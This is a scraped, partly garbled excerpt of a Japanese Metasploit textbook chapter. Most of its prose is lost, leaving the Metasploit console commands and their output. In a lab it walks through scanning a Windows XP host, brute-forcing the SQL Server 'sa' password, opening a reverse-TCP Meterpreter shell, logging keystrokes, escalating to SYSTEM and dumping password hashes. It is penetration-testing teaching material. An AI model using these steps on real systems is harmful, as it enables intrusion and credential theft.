Metasploit 2012.indb

Size: px

Start display at page:

Download "Metasploit 2012.indb"

いちえいたけすえ
7 years ago
Views:

1 83 6 Meterpreter Meterpreter Meterpreter Metasploit 1 RPC Remote Procedure Call Meterpreter Meterpreter Meterpreter Metasploit Meterpreter OS Metasploit Windows XP Meterpreter 6.1 Windows XP Meterpreter Meterpreter Nmap nmap msf > nmap -ss -A -PO ❶ [*] exec: nmap -ss -A -PO Starting Nmap 5.51SVN ( ) at :06 JST A -st -ss

1 Windows XP Meterpreter Meterpreter 6.1.1 Nmap nmap msf > nmap -ss -A -PO 192.168.33.

2 84 6 Meterpreter... 中略... PORT STATE SERVICE VERSION 7/tcp open echo 9/tcp open discard? 13/tcp open daytime? 17/tcp open qotd Windows qotd 19/tcp open chargen 21/tcp open ftp Microsoft ftpd ❹ _ftp-anon: Anonymous FTP login allowed (FTP code 230) 25/tcp open smtp Microsoft ESMTP ❺ smtp-commands: ihazsecurity Hello [ ], SIZE , PIPELINING, DSN, ENHANCEDSTATUSCODES, 8bitmime, BINARYMIME, CHUNKING, VRFY, OK _ This server supports the following commands: HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH BDAT VRFY 80/tcp open http Microsoft IIS httpd 5.1 ❻ _http-title: Metasploit Sample Web Attack Site http-methods: Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH _See 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn 443/tcp open https? 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds 1025/tcp open msrpc Microsoft Windows RPC 1433/tcp open ms-sql-s Microsoft SQL Server ; RTM ❷... 中略... MAC Address: 00:0C:29:EE:C9:AF (VMware) Device type: general purpose Running: Microsoft Windows XP 2003 OS details: Microsoft Windows XP Professional SP2 ❸ or Windows Server 中略... Nmap done: 1 IP address (1 host up) scanned in seconds ❶ Microsoft SQL Server ❷ nmap Windows XP SP2 ❸ SP3 FTP❹ SMTP❺ 80❻ Web

2180 ❺ smtp-commands: ihazsecurity Hello [192.168.33.

3 6.1 Windows XP Microsoft SQL Server 1433 Microsoft SQL Server SQL Server SQL Server SQL Server SQL Server TCP 1433 UDP 1434 SQL Server 1434/UDP UDP SQL Server UDP 1434 msf > nmap -su p 1434 ❶ [*] exec: nmap -su p 1434 Starting Nmap 5.51SVN ( ) at :39 JST Nmap scan report for Host is up ( s latency). PORT STATE SERVICE 1434/udp open filtered ms-sql-m ❷ MAC Address: 00:0C:29:EE:C9:AF (VMware) ❶ UDP 1434 ❷ Microsoft SQL Server Microsoft SQL Server Metasploit Framework mssql_ping SQL Server SQL Server mssql_ping SQL Server msf > use scanner/mssql/mssql_ping msf auxiliary(mssql_ping) > show options Module options (auxiliary/scanner/mssql/mssql_ping): Name Current Setting Required Description PASSWORD no The password for the specified username RHOSTS yes The target address range or CIDR identifier THREADS 1 yes The number of concurrent threads USERNAME sa no The username to authenticate as USE_WINDOWS_AUTHENT false yes Use windows authentification

PORT STATE SERVICE 1434/udp open filtered ms-sql-m ❷ MAC Address: 00:0C:29:EE:C9:AF (VMware) ❶ UDP 1434 ❷ 11 13 17 Microsoft SQL Server Microsoft SQL Server Metasploit Framework mssql_ping SQL Server

4 86 6 Meterpreter msf auxiliary(mssql_ping) > set RHOSTS /24 RHOSTS => /24 msf auxiliary(mssql_ping) > set THREADS 20 THREADS => 20 msf auxiliary(mssql_ping) > exploit [*] Scanned 039 of 256 hosts (015% complete) [*] Scanned 059 of 256 hosts (023% complete) [*] Scanned 079 of 256 hosts (030% complete) [*] Scanned 119 of 256 hosts (046% complete) [*] SQL Server information for : ❶ [+] ServerName = IHAZSECURITY ❷ [+] InstanceName = SQLEXPRESS [+] IsClustered = No [+] Version = ❸ [+] tcp = 1433 ❹ [+] np = IHAZSECURITY pipe MSSQL$SQLEXPRESS sql query [*] Scanned 132 of 256 hosts (051% complete) [*] Scanned 154 of 256 hosts (060% complete) [*] Scanned 180 of 256 hosts (070% complete) [*] Scanned 211 of 256 hosts (082% complete) [*] Scanned 239 of 256 hosts (093% complete) [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed Metasploit Framework mssql_ping SQL Server ❶ IHAZSECURITY ❷ ❸ SQL Server 2005 Express ❹ SQL Server TCP Microsoft SQL Server Metasploit Framework mssql_login sa Microsoft SQL Server sa SQL Server sa msf auxiliary(mssql_ping) > use scanner/mssql/mssql_login ❶ msf auxiliary(mssql_login) > show options Module options (auxiliary/scanner/mssql/mssql_login): wordlist.txt password123 wordlist. txt password123

1/24 msf auxiliary(mssql_ping) > set THREADS 20 THREADS => 20 msf auxiliary(mssql_ping) > exploit [*] Scanned 039 of 256 hosts (015% complete) [*] Scanned 059 of 256 hosts (023% complete) [*] Scanned

5 6.1 Windows XP 87 Name Current Setting Required Description BLANK_PASSWORDS true no Try blank passwords for all users BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 PASSWORD no A specific password to authenticate with PASS_FILE no File containing passwords, one per line RHOSTS yes The target address range or CIDR identifier RPORT 1433 yes The target port STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host THREADS 1 yes The number of concurrent threads USERNAME sa no A specific username to authenticate as USERPASS_FILE no File containing users and passwords separated by space, one pair per line USER_AS_PASS true no Try the username as the password for all users USER_FILE no File containing usernames, one per line USE_WINDOWS_AUTHENT false yes Use windows authentification VERBOSE true yes Whether to print output for all attempts msf auxiliary(mssql_login) > set PASS_FILE /pentest/exploits/fasttrack/bin/dict/ wordlist.txt ❷ PASS_FILE => /pentest/exploits/fasttrack/bin/dict/wordlist.txt msf auxiliary(mssql_login) > set RHOSTS RHOSTS => msf auxiliary(mssql_login) > set THREADS 10 THREADS => 10 msf auxiliary(mssql_login) > set VERBOSE false VERBOSE => false msf auxiliary(mssql_login) > exploit [*] : MSSQL - Starting authentication scanner. [+] : MSSQL - successful login 'sa' : 'password123' ❸ [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ❶ mssql_login ❷ Fast-Track Fast-Track 11 sa password123 ❸ Fast-Track Metasploit Framework Fast-Track 1 Microsoft SQL Server

The target port STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host THREADS 1 yes The number of concurrent threads USERNAME sa no A specific username to authenticate as

6 88 6 Meterpreter xp_cmdshell sa Microsoft SQL Server xp_cmdshell xp_cmdshell SQL Server SQL Server SQL Server OS SQL Server OS SQL Server sa SQL Server xp_cmdshell David Kennedy Joshua Drake jduck mssql_payload xp_cmdshell Metasploit msf > use windows/mssql/mssql_payload ❶ msf exploit(mssql_payload) > show options Module options (exploit/windows/mssql/mssql_payload): Name Current Setting Required Description METHOD cmd yes Which payload delivery method to use (ps, cmd, or old) PASSWORD no The password for the specified username RHOST yes The target address RPORT 1433 yes The target port USERNAME sa no The username to authenticate as USE_WINDOWS_AUTHENT false yes Use windows authentification Exploit target: Id Name Automatic msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp ❷ PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(mssql_payload) > set LHOST LHOST => msf exploit(mssql_payload) > set LPORT 443 LPORT => 443 msf exploit(mssql_payload) > set RHOST RHOST => msf exploit(mssql_payload) > set PASSWORD password123 PASSWORD => password123 msf exploit(mssql_payload) > set METHOD old METHOD => old

xp_cmdshell Metasploit msf > use windows/mssql/mssql_payload ❶ msf exploit(mssql_payload) > show options Module options (exploit/windows/mssql/mssql_payload): Name Current Setting Required

7 6.1 Windows XP 89 msf exploit(mssql_payload) > exploit [*] Started reverse handler on :443 [*] Warning: This module will leave xdfjbbrf.exe in the SQL Server %TEMP% directory [*] Writing the debug.com loader to the disk... [*] Converting the debug script to an executable... [*] Uploading the payload, please be patient... [*] Converting the encoded payload... [*] Executing the payload... [*] Sending stage ( bytes) to [*] Meterpreter session 1 opened ( :443 -> :2259) at :00: meterpreter > ❸ ❶ mssql_payload ❷ meterpreter Meterpreter ❸ Meterpreter mssql_ping Microsoft SQL Server mssql_login SQL Server sa sa password123 mssql_payload SQL Server xp_cmdshell Meterpreter Meterpreter Meterpreter Meterpreter Meterpreter Meterpreter Meterpreter Meterpreter Meterpreter Meterpreter help Meterpreter screenshot /root meterpreter > screenshot Screenshot saved to: /root/vdbrgwfp.jpeg 図 6-1 McAfee

.. [*] Converting the encoded payload... [*] Executing the payload... [*] Sending stage (752128 bytes) to 192.168.33.

8 90 6 Meterpreter 図 6-1 Meterpreter が撮ったスクリーンショット sysinfo sysinfo Meterpreter meterpreter > sysinfo Computer : IHAZSECURITY OS : Windows XP (Build 2600, Service Pack 2). Architecture : x86 System Language : ja_jp Meterpreter : x86/win32 Windows XP SP2 SP ps meterpreter > ps ❶ Process list

: Windows XP (Build 2600, Service Pack 2).

9 6.1 Windows XP 91 ============ PID Name Arch Session User Path [System Process] 4 System x86 0 NT AUTHORITY SYSTEM... 中略 spoolsv.exe x86 0 NT AUTHORITY SYSTEM C: WINDOWS system32 spoolsv.exe 1796 explorer.exe ❷ x86 0 IHAZSECURITY bob C: WINDOWS Explorer. EXE... 中略 dllhost.exe x86 0 NT AUTHORITY SYSTEM C: WINDOWS system32 dllhost.exe 4040 conime.exe x86 0 IHAZSECURITY bob C: WINDOWS system32 conime.exe meterpreter > migrate 1796 ❸ [*] Migrating to [*] Migration completed successfully. meterpreter > run post/windows/capture/keylog_recorder ❹ [*] Executing module against IHAZSECURITY [*] Starting the keystroke sniffer... [*] Keystrokes being saved in to /root/.msf4/loot/ _default_ _host.windows.key_ txt [*] Recording keystrokes... ^C[*] Saving last few keystrokes... [*] Interrupt [*] Stopping keystroke sniffer... meterpreter > exit [*] Shutting down Meterpreter... [*] Meterpreter session 1 closed. Reason: User exit msf>cat /root/.msf4/loot/ _default_ _host.windows. key_ txt [*] exec: cat /root/.msf4/loot/ _default_ _host. windows.key_ txt ❺ Keystroke log started at :03: administrator password <Back> <Back> <Back> <Back> <Back> <Back> <Back> <Tab> password123!! ❶ ps explorer.exe❷ ❸ migrate Meterpreter explorer.exe ❹ keylog_recorder Ctrl C 1 ❺

exe x86 0 NT AUTHORITY SYSTEM C: WINDOWS system32 dllhost.exe 4040 conime.exe x86 0 IHAZSECURITY bob C: WINDOWS system32 conime.exe meterpreter > migrate 1796 ❸ [*] Migrating to 1796.

10 92 6 Meterpreter 6.2 Meterpreter Meterpreter hashdump Microsoft LAN Manager LM NT LAN Manager NTLM NT LAN Manager v2 NTLMv2 LM 7 password passwor d NTLM password password LM 14 NTLM UID 500 Windows Administrator Administrator:500 Administrator 2 Administrator:500: ❶e52cac67419a9a22cbb699e2fdfcc59e : ❷30ef086423f916deec378aac 42c4ef0c ::: ❶ LM ❷ NTLM Administrator thisisacrazylongpassword&&!!@@## Meterpreter Windows SAM SYSTEM

Windows Administrator Administrator:500 Administrator 2 Administrator:500: ❶e52cac67419a9a22cbb699e2fdfcc59e :

11 use priv getsystem meterpreter SYSTEM hashdump meterpreter > use priv [-] The 'priv' extension has already been loaded. meterpreter > getsystem...got system (via technique 1). meterpreter > run post/windows/gather/hashdump [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 2f12239d33576e2dc831bdc350b40ea4... [*] Obtaining the user list and keys... [*] Decrypting user keys... [*] Dumping password hashes... Administrator:500:aad3b435b51404eeaad3b435b51404ee:b75989f65d1e04af7625ed712ac3 6c29::: aad3b435 Administrator:500:NOPASSWD:ntlmhash 14 Windows LM aad3b435 LM LM 14 hashdump aad3b435 LM 1 7 a z LM 14

.. [*] Calculating the hboot key using SYSKEY 2f12239d33576e2dc831bdc350b40ea4... [*] Obtaining the user list and keys... [*] Decrypting user keys.

Metasploit 2012.indb

Metasploit 2012.indb 7 2 Metasploit Metasploit Framework MSF Metasploit Metasploit 2 Metasploit Metasploit 2.1 Metasploit 2.1.1 エクスプロイト Web SQL 2.1.2 Framework リバースシェル Windows 5 バインドシェル 8 2 Metasploit OS 2.1.3 シェルコード Meterpreter